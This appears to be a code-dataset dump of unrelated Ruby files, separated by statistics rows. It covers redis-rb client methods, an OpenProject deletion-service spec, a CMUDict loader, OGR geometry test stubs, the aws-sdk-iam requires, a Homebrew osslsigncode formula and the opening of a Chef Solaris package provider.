# - exclusive maximum score is specified by prefixing `(`
# @return [Fixnum] number of members in within the specified range
def zcount(key, min, max)
synchronize do |client|
client.call([:zcount, key, min, max])
end
end
# Intersect multiple sorted sets and store the resulting sorted set in a new
# key.
#
# @example Compute the intersection of `2*zsetA` with `1*zsetB`, summing their scores
# redis.zinterstore("zsetC", ["zsetA", "zsetB"], :weights => [2.0, 1.0], :aggregate => "sum")
# # => 4
#
# @param [String] destination destination key
# @param [Array<String>] keys source keys
# @param [Hash] options
# - `:weights => [Float, Float, ...]`: weights to associate with source
# sorted sets
# - `:aggregate => String`: aggregate function to use (sum, min, max, ...)
# @return [Fixnum] number of elements in the resulting sorted set
def zinterstore(destination, keys, options = {})
args = []
weights = options[:weights]
args.concat(["WEIGHTS"] + weights) if weights
aggregate = options[:aggregate]
args.concat(["AGGREGATE", aggregate]) if aggregate
synchronize do |client|
client.call([:zinterstore, destination, keys.size] + keys + args)
end
end
# Add multiple sorted sets and store the resulting sorted set in a new key.
#
# @example Compute the union of `2*zsetA` with `1*zsetB`, summing their scores
# redis.zunionstore("zsetC", ["zsetA", "zsetB"], :weights => [2.0, 1.0], :aggregate => "sum")
# # => 8
#
# @param [String] destination destination key
# @param [Array<String>] keys source keys
# @param [Hash] options
# - `:weights => [Float, Float, ...]`: weights to associate with source
# sorted sets
# - `:aggregate => String`: aggregate function to use (sum, min, max, ...)
# @return [Fixnum] number of elements in the resulting sorted set
def zunionstore(destination, keys, options = {})
args = []
weights = options[:weights]
args.concat(["WEIGHTS"] + weights) if weights
aggregate = options[:aggregate]
args.concat(["AGGREGATE", aggregate]) if aggregate
synchronize do |client|
client.call([:zunionstore, destination, keys.size] + keys + args)
end
end
# Get the number of fields in a hash.
#
# @param [String] key
# @return [Fixnum] number of fields in the hash
def hlen(key)
synchronize do |client|
client.call([:hlen, key])
end
end
# Set the string value of a hash field.
#
# @param [String] key
# @param [String] field
# @param [String] value
# @return [Boolean] whether or not the field was **added** to the hash
def hset(key, field, value)
synchronize do |client|
client.call([:hset, key, field, value], &_boolify)
end
end
# Set the value of a hash field, only if the field does not exist.
#
# @param [String] key
# @param [String] field
# @param [String] value
# @return [Boolean] whether or not the field was **added** to the hash
def hsetnx(key, field, value)
synchronize do |client|
client.call([:hsetnx, key, field, value], &_boolify)
end
end
# Set one or more hash values.
#
# @example
# redis.hmset("hash", "f1", "v1", "f2", "v2")
# # => "OK"
#
# @param [String] key
# @param [Array<String>] attrs array of fields and values
# @return `"OK"`
#
# @see #mapped_hmset
def hmset(key, *attrs)
synchronize do |client|
client.call([:hmset, key] + attrs)
end
end
# Set one or more hash values.
#
# @example
# redis.mapped_hmset("hash", { "f1" => "v1", "f2" => "v2" })
# # => "OK"
#
# @param [String] key
# @param [Hash] hash fields mapping to values
# @return `"OK"`
#
# @see #hmset
def mapped_hmset(key, hash)
hmset(key, hash.to_a.flatten)
end
# Get the value of a hash field.
#
# @param [String] key
# @param [String] field
# @return [String]
def hget(key, field)
synchronize do |client|
client.call([:hget, key, field])
end
end
# Get the values of all the given hash fields.
#
# @example
# redis.hmget("hash", "f1", "f2")
# # => ["v1", "v2"]
#
# @param [String] key
# @param [Array<String>] fields array of fields
# @return [Array<String>] an array of values for the specified fields
#
# @see #mapped_hmget
def hmget(key, *fields, &blk)
synchronize do |client|
client.call([:hmget, key] + fields, &blk)
end
end
# Get the values of all the given hash fields.
#
# @example
# redis.hmget("hash", "f1", "f2")
# # => { "f1" => "v1", "f2" => "v2" }
#
# @param [String] key
# @param [Array<String>] fields array of fields
# @return [Hash] a hash mapping the specified fields to their values
#
# @see #hmget
def mapped_hmget(key, *fields)
hmget(key, *fields) do |reply|
if reply.kind_of?(Array)
Hash[fields.zip(reply)]
else
reply
end
end
end
# Delete one or more hash fields.
#
# @param [String] key
# @param [String, Array<String>] field
# @return [Fixnum] the number of fields that were removed from the hash
def hdel(key, field)
synchronize do |client|
client.call([:hdel, key, field])
end
end
# Determine if a hash field exists.
#
# @param [String] key
# @param [String] field
# @return [Boolean] whether or not the field exists in the hash
def hexists(key, field)
synchronize do |client|
client.call([:hexists, key, field], &_boolify)
end
end
# Increment the integer value of a hash field by the given integer number.
#
# @param [String] key
# @param [String] field
# @param [Fixnum] increment
# @return [Fixnum] value of the field after incrementing it
def hincrby(key, field, increment)
synchronize do |client|
client.call([:hincrby, key, field, increment])
end
end
# Increment the numeric value of a hash field by the given float number.
#
# @param [String] key
# @param [String] field
# @param [Float] increment
# @return [Float] value of the field after incrementing it
def hincrbyfloat(key, field, increment)
synchronize do |client|
client.call([:hincrbyfloat, key, field, increment], &_floatify)
end
end
# Get all the fields in a hash.
#
# @param [String] key
# @return [Array<String>]
def hkeys(key)
synchronize do |client|
client.call([:hkeys, key])
end
end
# Get all the values in a hash.
#
# @param [String] key
# @return [Array<String>]
def hvals(key)
synchronize do |client|
client.call([:hvals, key])
end
end
# Get all the fields and values in a hash.
#
# @param [String] key
# @return [Hash<String, String>]
def hgetall(key)
synchronize do |client|
client.call([:hgetall, key], &_hashify)
end
end
# Post a message to a channel.
def publish(channel, message)
synchronize do |client|
client.call([:publish, channel, message])
end
end
def subscribed?
synchronize do |client|
client.kind_of? SubscribedClient
end
end
# Listen for messages published to the given channels.
def subscribe(*channels, &block)
synchronize do |client|
_subscription(:subscribe, channels, block)
end
end
# Stop listening for messages posted to the given channels.
def unsubscribe(*channels)
synchronize do |client|
raise RuntimeError, "Can't unsubscribe if not subscribed." unless subscribed?
client.unsubscribe(*channels)
end
end
# Listen for messages published to channels matching the given patterns.
def psubscribe(*channels, &block)
synchronize do |client|
_subscription(:psubscribe, channels, block)
end
end
# Stop listening for messages posted to channels matching the given patterns.
def punsubscribe(*channels)
synchronize do |client|
raise RuntimeError, "Can't unsubscribe if not subscribed." unless subscribed?
client.punsubscribe(*channels)
end
end
# Watch the given keys to determine execution of the MULTI/EXEC block.
#
# Using a block is optional, but is necessary for thread-safety.
#
# An `#unwatch` is automatically issued if an exception is raised within the
# block that is a subclass of StandardError and is not a ConnectionError.
#
# @example With a block
# redis.watch("key") do
# if redis.get("key") == "some value"
# redis.multi do |multi|
# multi.set("key", "other value")
# multi.incr("counter")
# end
# else
# redis.unwatch
# end
# end
# # => ["OK", 6]
#
# @example Without a block
# redis.watch("key")
# # => "OK"
#
# @param [String, Array<String>] keys one or more keys to watch
# @return [Object] if using a block, returns the return value of the block
# @return [String] if not using a block, returns `OK`
#
# @see #unwatch
# @see #multi
def watch(*keys)
synchronize do |client|
res = client.call([:watch] + keys)
if block_given?
begin
yield(self)
rescue ConnectionError
raise
rescue StandardError
unwatch
raise
end
else
res
end
end
end
# Forget about all watched keys.
#
# @return [String] `OK`
#
# @see #watch
# @see #multi
def unwatch
synchronize do |client|
client.call([:unwatch])
end
end
def pipelined
synchronize do |client|
begin
original, @client = @client, Pipeline.new
yield(self)
original.call_pipeline(@client)
ensure
@client = original
end
end
end
# Mark the start of a transaction block.
#
# Passing a block is optional.
#
# @example With a block
# redis.multi do |multi|
# multi.set("key", "value")
# multi.incr("counter")
# end # => ["OK", 6]
#
# @example Without a block
# redis.multi
# # => "OK"
# redis.set("key", "value")
# # => "QUEUED"
# redis.incr("counter")
# # => "QUEUED"
# redis.exec
# # => ["OK", 6]
#
# @yield [multi] the commands that are called inside this block are cached
# and written to the server upon returning from it
# @yieldparam [Redis] multi `self`
#
# @return [String, Array<...>]
# - when a block is not given, `OK`
# - when a block is given, an array with replies
#
# @see #watch
# @see #unwatch
def multi
synchronize do |client|
if !block_given?
client.call([:multi])
else
begin
pipeline = Pipeline::Multi.new
original, @client = @client, pipeline
yield(self)
original.call_pipeline(pipeline)
ensure
@client = original
end
end
end
end
# Execute all commands issued after MULTI.
#
# Only call this method when `#multi` was called **without** a block.
#
# @return [nil, Array<...>]
# - when commands were not executed, `nil`
# - when commands were executed, an array with their replies
#
# @see #multi
# @see #discard
def exec
synchronize do |client|
client.call([:exec])
end
end
# Discard all commands issued after MULTI.
#
# Only call this method when `#multi` was called **without** a block.
#
# @return `"OK"`
#
# @see #multi
# @see #exec
def discard
synchronize do |client|
client.call([:discard])
end
end
# Control remote script registry.
#
# @example Load a script
# sha = redis.script(:load, "return 1")
# # => <sha of this script>
# @example Check if a script exists
# redis.script(:exists, sha)
# # => true
# @example Check if multiple scripts exist
# redis.script(:exists, [sha, other_sha])
# # => [true, false]
# @example Flush the script registry
# redis.script(:flush)
# # => "OK"
# @example Kill a running script
# redis.script(:kill)
# # => "OK"
#
# @param [String] subcommand e.g. `exists`, `flush`, `load`, `kill`
# @param [Array<String>] args depends on subcommand
# @return [String, Boolean, Array<Boolean>, ...] depends on subcommand
#
# @see #eval
# @see #evalsha
def script(subcommand, *args)
subcommand = subcommand.to_s.downcase
if subcommand == "exists"
synchronize do |client|
arg = args.first
client.call([:script, :exists, arg]) do |reply|
reply = reply.map { |r| _boolify.call(r) }
if arg.is_a?(Array)
reply
else
reply.first
end
end
end
else
synchronize do |client|
client.call([:script, subcommand] + args)
end
end
end
def _eval(cmd, args)
script = args.shift
options = args.pop if args.last.is_a?(Hash)
options ||= {}
keys = args.shift || options[:keys] || []
argv = args.shift || options[:argv] || []
synchronize do |client|
client.call([cmd, script, keys.length] + keys + argv)
end
end
# Evaluate Lua script.
#
# @example EVAL without KEYS nor ARGV
# redis.eval("return 1")
# # => 1
# @example EVAL with KEYS and ARGV as array arguments
# redis.eval("return { KEYS, ARGV }", ["k1", "k2"], ["a1", "a2"])
# # => [["k1", "k2"], ["a1", "a2"]]
# @example EVAL with KEYS and ARGV in a hash argument
# redis.eval("return { KEYS, ARGV }", :keys => ["k1", "k2"], :argv => ["a1", "a2"])
# # => [["k1", "k2"], ["a1", "a2"]]
#
# @param [Array<String>] keys optional array with keys to pass to the script
# @param [Array<String>] argv optional array with arguments to pass to the script
# @param [Hash] options
# - `:keys => Array<String>`: optional array with keys to pass to the script
# - `:argv => Array<String>`: optional array with arguments to pass to the script
# @return depends on the script
#
# @see #script
# @see #evalsha
def eval(*args)
_eval(:eval, args)
end
# Evaluate Lua script by its SHA.
#
# @example EVALSHA without KEYS nor ARGV
# redis.evalsha(sha)
# # => <depends on script>
# @example EVALSHA with KEYS and ARGV as array arguments
# redis.evalsha(sha, ["k1", "k2"], ["a1", "a2"])
# # => <depends on script>
# @example EVALSHA with KEYS and ARGV in a hash argument
# redis.evalsha(sha, :keys => ["k1", "k2"], :argv => ["a1", "a2"])
# # => <depends on script>
#
# @param [Array<String>] keys optional array with keys to pass to the script
# @param [Array<String>] argv optional array with arguments to pass to the script
# @param [Hash] options
# - `:keys => Array<String>`: optional array with keys to pass to the script
# - `:argv => Array<String>`: optional array with arguments to pass to the script
# @return depends on the script
#
# @see #script
# @see #eval
def evalsha(*args)
_eval(:evalsha, args)
end
def _scan(command, cursor, args, options = {}, &block)
# SSCAN/ZSCAN/HSCAN already prepend the key to +args+.
args << cursor
if match = options[:match]
args.concat(["MATCH", match])
end
if count = options[:count]
args.concat(["COUNT", count])
end
synchronize do |client|
client.call([command] + args, &block)
end
end
# Scan the keyspace
#
# @example Retrieve the first batch of keys
# redis.scan(0)
# # => ["4", ["key:21", "key:47", "key:42"]]
# @example Retrieve a batch of keys matching a pattern
# redis.scan(4, :match => "key:1?")
# # => ["92", ["key:13", "key:18"]]
#
# @param [String, Integer] cursor: the cursor of the iteration
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [String, Array<String>] the next cursor and all found keys
def scan(cursor, options={})
_scan(:scan, cursor, [], options)
end
# Scan the keyspace
#
# @example Retrieve all of the keys (with possible duplicates)
# redis.scan_each.to_a
# # => ["key:21", "key:47", "key:42"]
# @example Execute block for each key matching a pattern
# redis.scan_each(:match => "key:1?") {|key| puts key}
# # => key:13
# # => key:18
#
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [Enumerator] an enumerator for all found keys
def scan_each(options={}, &block)
return to_enum(:scan_each, options) unless block_given?
cursor = 0
loop do
cursor, keys = scan(cursor, options)
keys.each(&block)
break if cursor == "0"
end
end
# Scan a hash
#
# @example Retrieve the first batch of key/value pairs in a hash
# redis.hscan("hash", 0)
#
# @param [String, Integer] cursor: the cursor of the iteration
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [String, Array<[String, String]>] the next cursor and all found keys
def hscan(key, cursor, options={})
_scan(:hscan, cursor, [key], options) do |reply|
[reply[0], _pairify(reply[1])]
end
end
# Scan a hash
#
# @example Retrieve all of the key/value pairs in a hash
# redis.hscan_each("hash").to_a
# # => [["key70", "70"], ["key80", "80"]]
#
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [Enumerator] an enumerator for all found keys
def hscan_each(key, options={}, &block)
return to_enum(:hscan_each, key, options) unless block_given?
cursor = 0
loop do
cursor, values = hscan(key, cursor, options)
values.each(&block)
break if cursor == "0"
end
end
# Scan a sorted set
#
# @example Retrieve the first batch of key/value pairs in a hash
# redis.zscan("zset", 0)
#
# @param [String, Integer] cursor: the cursor of the iteration
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [String, Array<[String, Float]>] the next cursor and all found
# members and scores
def zscan(key, cursor, options={})
_scan(:zscan, cursor, [key], options) do |reply|
[reply[0], _floatify_pairs.call(reply[1])]
end
end
# Scan a sorted set
#
# @example Retrieve all of the members/scores in a sorted set
# redis.zscan_each("zset").to_a
# # => [["key70", "70"], ["key80", "80"]]
#
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [Enumerator] an enumerator for all found scores and members
def zscan_each(key, options={}, &block)
return to_enum(:zscan_each, key, options) unless block_given?
cursor = 0
loop do
cursor, values = zscan(key, cursor, options)
values.each(&block)
break if cursor == "0"
end
end
# Scan a set
#
# @example Retrieve the first batch of keys in a set
# redis.sscan("set", 0)
#
# @param [String, Integer] cursor: the cursor of the iteration
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [String, Array<String>] the next cursor and all found members
def sscan(key, cursor, options={})
_scan(:sscan, cursor, [key], options)
end
# Scan a set
#
# @example Retrieve all of the keys in a set
# redis.sscan("set").to_a
# # => ["key1", "key2", "key3"]
#
# @param [Hash] options
# - `:match => String`: only return keys matching the pattern
# - `:count => Integer`: return count keys at most per iteration
#
# @return [Enumerator] an enumerator for all keys in the set
def sscan_each(key, options={}, &block)
return to_enum(:sscan_each, key, options) unless block_given?
cursor = 0
loop do
cursor, keys = sscan(key, cursor, options)
keys.each(&block)
break if cursor == "0"
end
end
# Add one or more members to a HyperLogLog structure.
#
# @param [String] key
# @param [String, Array<String>] member one member, or array of members
# @return [Boolean] true if at least 1 HyperLogLog internal register was altered. false otherwise.
def pfadd(key, member)
synchronize do |client|
client.call([:pfadd, key, member], &_boolify)
end
end
# Get the approximate cardinality of members added to HyperLogLog structure.
#
# @param [String] key
# @return [Fixnum]
def pfcount(key)
synchronize do |client|
client.call([:pfcount, key])
end
end
# Merge multiple HyperLogLog values into an unique value that will approximate the cardinality of the union of
# the observed Sets of the source HyperLogLog structures.
#
# @param [String] dest_key destination key
# @param [String, Array<String>] source_key source key, or array of keys
# @return [Boolean]
def pfmerge(dest_key, *source_key)
synchronize do |client|
client.call([:pfmerge, dest_key, *source_key], &_boolify_set)
end
end
def id
@original_client.id
end
def inspect
"#<Redis client v#{Redis::VERSION} for #{id}>"
end
def dup
self.class.new(@options)
end
def method_missing(command, *args)
synchronize do |client|
client.call([command] + args)
end
end
private
# Commands returning 1 for true and 0 for false may be executed in a pipeline
# where the method call will return nil. Propagate the nil instead of falsely
# returning false.
def _boolify
lambda { |value|
value == 1 if value
}
end
def _boolify_set
lambda { |value|
if value && "OK" == value
true
else
false
end
}
end
def _hashify
lambda { |array|
hash = Hash.new
array.each_slice(2) do |field, value|
hash[field] = value
end
hash
}
end
def _floatify
lambda { |str|
return unless str
if (inf = str.match(/^(-)?inf/i))
(inf[1] ? -1.0 : 1.0) / 0.0
else
Float(str)
end
}
end
def _floatify_pairs
lambda { |array|
return unless array
array.each_slice(2).map do |member, score|
[member, _floatify.call(score)]
end
}
end
def _pairify(array)
array.each_slice(2).to_a
end
def _subscription(method, channels, block)
return @client.call([method] + channels) if subscribed?
begin
original, @client = @client, SubscribedClient.new(@client)
@client.send(method, *channels, &block)
ensure
@client = original
end
end
end
require "redis/version"
require "redis/connection"
require "redis/client"
require "redis/pipeline"
require "redis/subscribe"
| 26.855361 | 112 | 0.618678 |
5d07dd4470801940bbef327d384a3d96b1457f4d
| 3,791 |
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe ::Projects::ScheduleDeletionService, type: :model do
let(:contract_class) do
contract = double('contract_class', '<=': true)
allow(contract)
.to receive(:new)
.with(project, user, options: {})
.and_return(contract_instance)
contract
end
let(:contract_instance) do
double('contract_instance', validate: contract_valid, errors: contract_errors)
end
let(:contract_valid) { true }
let(:contract_errors) do
double('contract_errors')
end
let(:project_valid) { true }
let(:project) { FactoryBot.build_stubbed(:project) }
let(:instance) do
described_class.new(user: user,
model: project,
contract_class: contract_class)
end
let(:archive_success) do
true
end
let(:archive_errors) do
double('archive_errors')
end
let(:archive_result) do
ServiceResult.new result: project,
success: archive_success,
errors: archive_errors
end
let!(:archive_service) do
service = double('archive_service_instance')
allow(Projects::ArchiveService)
.to receive(:new)
.with(user: user,
model: project)
.and_return(service)
allow(service)
.to receive(:call)
.and_return(archive_result)
service
end
let(:user) { FactoryBot.build_stubbed(:admin) }
subject { instance.call }
context 'if contract and archiving are successful' do
it 'archives the project and creates a delayed job' do
expect(archive_service)
.to receive(:call)
.and_return(archive_result)
expect(::Projects::DeleteProjectJob)
.to receive(:perform_later)
.with(user: user, project: project)
expect(subject).to be_success
end
end
context 'if contract fails' do
let(:contract_valid) { false }
it 'is failure' do
expect(subject).to be_failure
end
it 'returns the contract errors' do
expect(subject.errors)
.to eql contract_errors
end
it 'does not schedule a job' do
expect(::Projects::DeleteProjectJob)
.not_to receive(:new)
subject
end
end
context 'if archiving fails' do
let(:archive_success) { false }
it 'is failure' do
expect(subject).to be_failure
end
it 'returns the contract errors' do
expect(subject.errors)
.to eql archive_errors
end
it 'does not schedule a job' do
expect(::Projects::DeleteProjectJob)
.not_to receive(:new)
subject
end
end
end
| 27.078571 | 91 | 0.678449 |
e93b34e6055b944420ade4cf383d88a50d0c727a
| 722 |
# encoding: UTF-8
require 'singleton'
module CMUDict
class Dictionary
include Singleton
private_class_method :new
def phonemes(word)
@words[word.upcase.to_sym] || ''
end
protected
def initialize
@words = {}
load
end
def load
source = File.join(File.dirname(__dir__), 'dict', 'cmudict-0.7b')
pp source
File.foreach(source, encoding: 'utf-8') do |line|
next if line[0] == ';'
word, *phonemes = line.encode('UTF-8', invalid: :replace).split
word = word[0..-4] if word.match?(/\(\d\)/)
@words[word.to_sym] ||= []
@words[word.to_sym] << phonemes
end
end
end
end
| 20.055556 | 72 | 0.542936 |
5d3b6cb3a6ef250e78b66d31abb39859be989671
| 7,821 |
# frozen_string_literal: true
RSpec.shared_examples 'a geometry' do
require 'ogr'
describe '#coordinate_dimension' do
subject { geometry.coordinate_dimension }
it { is_expected.to eq 2 }
end
describe '#coordinate_dimension=' do
context 'valid value' do
it 'changes the dimension to the new value' do
skip
end
end
context 'invalid value' do
it '???' do
skip
end
end
end
describe '#empty!' do
it 'removes all points/geometries from the geometry' do
skip
end
end
describe '#empty?' do
context 'when empty' do
subject { described_class.new }
it { is_expected.to be_empty }
end
context 'when with points' do
it 'is not empty' do
skip 'Writing the test'
end
end
end
describe '#envelope' do
subject { geometry.envelope }
it { is_expected.to be_a OGR::Envelope }
end
describe '#dump_readable' do
context 'with prefix' do
it 'writes out to a file' do
skip
end
end
context 'without prefix' do
it 'writes out to a file' do
skip
end
end
end
describe '#intersects?' do
context 'self intersects other geometry' do
it 'returns true' do
skip
end
end
context 'self does not intersect other geometry' do
it 'returns false' do
skip
end
end
end
describe '#equals?' do
context 'self equals other geometry' do
it 'returns true' do
skip
end
end
context 'self does not equals other geometry' do
it 'returns false' do
skip
end
end
end
describe '#disjoint?' do
context 'self disjoints other geometry' do
it 'returns true' do
skip
end
end
context 'self does not disjoint other geometry' do
it 'returns false' do
skip
end
end
end
describe '#touches?' do
context 'self touches other geometry' do
it 'returns true' do
skip
end
end
context 'self does not touch other geometry' do
it 'returns false' do
skip
end
end
end
describe '#crosses?' do
context 'self touches other geometry' do
it 'returns true' do
skip
end
end
context 'self does not touch other geometry' do
it 'returns false' do
skip
end
end
end
describe '#within?' do
context 'self is within other geometry' do
it 'returns true' do
skip
end
end
context 'self is not within other geometry' do
it 'returns false' do
skip
end
end
end
describe '#contains?' do
context 'self contains other geometry' do
it 'returns true' do
skip
end
end
context 'self does not contain other geometry' do
it 'returns false' do
skip
end
end
end
describe '#overlaps?' do
context 'self overlaps other geometry' do
it 'returns true' do
skip
end
end
context 'self does not overlap other geometry' do
it 'returns false' do
skip
end
end
end
describe '#valid?' do
context 'self is valid' do
it 'returns true' do
skip
end
end
context 'self is not valid' do
it 'returns false' do
skip
end
end
end
describe '#simple?' do
context 'self is simple' do
it 'returns true' do
skip
end
end
context 'self is not simple' do
it 'returns false' do
skip
end
end
end
describe '#ring?' do
context 'self is a ring' do
it 'returns true' do
skip
end
end
context 'self is not a ring' do
it 'returns false' do
skip
end
end
end
describe '#intersection' do
specify { skip 'Implementation' }
end
describe '#union' do
context 'where there is no union' do
specify { skip }
end
context 'where there is union' do
specify { skip }
end
end
describe '#close_rings!' do
it 'adds points to close any potential rings' do
skip
end
end
describe '#polygonize' do
it 'adds points to close any potential rings' do
skip
end
end
describe '#difference' do
it 'creates a new geometry that represents the difference' do
skip
end
end
describe '#symmetric_difference' do
it 'creates a new geometry that represents the difference' do
skip
end
end
describe '#distance_to' do
context 'other geometry is nil' do
it '???' do
skip
end
end
context 'other geometry is valid' do
it 'creates a new geometry that represents the difference' do
skip
end
end
end
describe '#spatial_reference' do
context 'none assigned' do
it 'returns nil' do
expect(geometry.spatial_reference).to be_nil
end
end
context 'has one assigned' do
it 'returns a spatial reference' do
geometry.spatial_reference = OGR::SpatialReference.new.import_from_epsg(4326)
expect(geometry.spatial_reference).to be_a OGR::SpatialReference
end
end
end
describe '#spatial_reference=' do
it 'assigns the new spatial reference' do
skip
end
end
describe '#transform!' do
it 'assigns the new spatial reference' do
skip
end
end
describe '#transform_to!' do
it 'transforms the points into the new spatial reference' do
skip
end
it 'sets the new spatial reference' do
skip
end
end
describe '#simplify' do
context 'preserve_topology is true' do
it 'returns a new geometry' do
skip
end
end
context 'preserve_topology is false' do
it 'returns a new geometry' do
skip
end
end
end
describe '#segmentize!' do
it 'updates the geometry' do
skip
end
end
describe '#boundary' do
it 'returns a geometry that represents the boundary of self' do
skip
end
end
describe '#buffer' do
it 'returns a new geometry that adds a boundary around self' do
skip
end
end
describe '#convex_hull' do
it 'returns a new geometry that is the convex hull of self' do
skip
end
end
describe '#import_from_wkb' do
it 'updates self with the new geometry info' do
skip
end
end
describe '#import_from_wkt' do
it 'updates self with the new geometry info' do
skip
end
end
describe '#wkb_size' do
it 'returns a non-zero integer' do
expect(geometry.wkb_size).to be_a Integer
if geometry.name == 'LINEARRING'
expect(geometry.wkb_size).to be_zero
else
expect(geometry.wkb_size).to be_positive
end
end
end
describe '#to_wkb' do
it 'returns some binary String data' do
if geometry.name == 'LINEARRING'
expect { geometry.to_wkb }.to raise_exception OGR::UnsupportedOperation
else
expect(geometry.to_wkb).to be_a String
expect(geometry.to_wkb).to_not be_empty
end
end
end
describe '#to_wkt' do
it 'returns some String data' do
expect(geometry.to_wkt).to be_a String
expect(geometry.to_wkt).to_not be_empty
end
end
describe '#to_gml' do
it 'returns some String data' do
expect(geometry.to_gml).to be_a String
expect(geometry.to_gml).to_not be_empty
end
end
describe '#to_kml' do
it 'returns some String data' do
expect(geometry.to_kml).to be_a String
expect(geometry.to_kml).to_not be_empty
end
end
describe '#to_geo_json' do
it 'returns some String data' do
expect(geometry.to_geo_json).to be_a String
expect(geometry.to_geo_json).to_not be_empty
end
end
end
| 19.216216 | 85 | 0.613093 |
ffb33e6812ee1c9ccdc2fe02b3ff4fac2608747e
| 2,148 |
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'aws-sdk-core'
require 'aws-sigv4'
require_relative 'aws-sdk-iam/types'
require_relative 'aws-sdk-iam/client_api'
require_relative 'aws-sdk-iam/client'
require_relative 'aws-sdk-iam/errors'
require_relative 'aws-sdk-iam/waiters'
require_relative 'aws-sdk-iam/resource'
require_relative 'aws-sdk-iam/access_key'
require_relative 'aws-sdk-iam/access_key_pair'
require_relative 'aws-sdk-iam/account_password_policy'
require_relative 'aws-sdk-iam/account_summary'
require_relative 'aws-sdk-iam/assume_role_policy'
require_relative 'aws-sdk-iam/current_user'
require_relative 'aws-sdk-iam/group'
require_relative 'aws-sdk-iam/group_policy'
require_relative 'aws-sdk-iam/instance_profile'
require_relative 'aws-sdk-iam/login_profile'
require_relative 'aws-sdk-iam/mfa_device'
require_relative 'aws-sdk-iam/policy'
require_relative 'aws-sdk-iam/policy_version'
require_relative 'aws-sdk-iam/role'
require_relative 'aws-sdk-iam/role_policy'
require_relative 'aws-sdk-iam/saml_provider'
require_relative 'aws-sdk-iam/server_certificate'
require_relative 'aws-sdk-iam/signing_certificate'
require_relative 'aws-sdk-iam/user'
require_relative 'aws-sdk-iam/user_policy'
require_relative 'aws-sdk-iam/virtual_mfa_device'
require_relative 'aws-sdk-iam/customizations'
# This module provides support for AWS Identity and Access Management. This module is available in the
# `aws-sdk-iam` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS Identity and Access Management all
# extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::IAM::Errors::ServiceError
# # rescues all service API errors
# end
#
# See {Errors} for more information.
#
# @service
module Aws::IAM
GEM_VERSION = '1.20.0'
end
| 30.685714 | 102 | 0.785847 |
d554d29c731c080bf67ee4edc4d0e3cd9fc7ab9f
| 1,129 |
class Osslsigncode < Formula
desc "OpenSSL based Authenticode signing for PE/MSI/Java CAB files"
homepage "https://github.com/mtrojnar/osslsigncode"
url "https://github.com/mtrojnar/osslsigncode/archive/2.0.tar.gz"
sha256 "5a60e0a4b3e0b4d655317b2f12a810211c50242138322b16e7e01c6fbb89d92f"
revision 1
bottle do
cellar :any
sha256 "9f9d6f343dc0a7e6ecf34a27e97049b62952e5a05319b1f7aa4c235cf793fc5e" => :catalina
sha256 "cf48ec533b5cc0db3cf56903091936822c422d484371c28b2397bd02bd3bdbbb" => :mojave
sha256 "5999a97a256941d082e171faceb5cbf7fb54720031d71cc1c086d8d08d18ff01" => :high_sierra
end
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "pkg-config" => :build
depends_on "libgsf"
depends_on "[email protected]"
def install
system "./autogen.sh"
system "./configure", "--with-gsf", "--prefix=#{prefix}"
system "make", "install"
end
test do
# Requires Windows PE executable as input, so we're just showing the version
assert_match "osslsigncode", shell_output("#{bin}/osslsigncode --version", 255)
end
end
| 34.212121 | 93 | 0.749336 |
1acc25d2423cb11d0ad7988ca3fed64e86a5e57f
| 5,543 |
#
# Author:: Toomas Pelberg (<[email protected]>)
# Copyright:: Copyright 2010-2016, Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "chef/provider/package"
require "chef/resource/package"
require "chef/mixin/get_source_from_package"
class Chef
class Provider
class Package
class Solaris < Chef::Provider::Package
include Chef::Mixin::GetSourceFromPackage
provides :package, platform: "nexentacore"
provides :package, platform: "solaris2", platform_version: "< 5.11"
provides :solaris_package
# def initialize(*args)
# super
# @current_resource = Chef::Resource::Package.new(new_resource.name)
# end
def define_resource_requirements
super
requirements.assert(:install) do |a|
a.assertion { new_resource.source }
a.failure_message Chef::Exceptions::Package, "Source for package #{new_resource.package_name} required for action install"
end
requirements.assert(:all_actions) do |a|
